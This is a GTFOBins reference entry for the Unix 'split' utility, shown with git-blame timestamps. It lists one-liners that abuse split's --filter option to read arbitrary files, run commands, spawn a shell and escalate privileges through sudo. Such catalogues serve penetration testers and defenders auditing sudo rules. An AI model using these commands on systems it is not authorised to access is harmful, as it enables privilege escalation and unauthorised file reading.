GTFOBins.github.io/_gtfobins/split.md

28 lines
705 B
Markdown
Raw Normal View History

2020-11-13 10:59:14 +00:00
---
functions:
file-read:
- code: |
LFILE=file_to_read
TF=$(mktemp)
split $LFILE $TF
cat $TF*
command:
2020-12-20 20:15:58 +00:00
- description: Command execution using an existing or newly created file.
2020-11-13 11:12:08 +00:00
code: |
2020-11-13 10:59:14 +00:00
COMMAND=id
TF=$(mktemp)
split --filter=$COMMAND $TF
- description: Command execution using stdin (and close it directly).
code: |
COMMAND=id
echo | split --filter=$COMMAND /dev/stdin
shell:
2020-12-20 20:15:58 +00:00
- description: The shell prompt is not printed.
code: |
split --filter=/bin/sh /dev/stdin
2020-11-13 10:59:14 +00:00
sudo:
2020-12-20 20:15:58 +00:00
- description: The shell prompt is not printed.
code: |
split --filter=/bin/sh /dev/stdin
2020-11-13 10:59:14 +00:00
---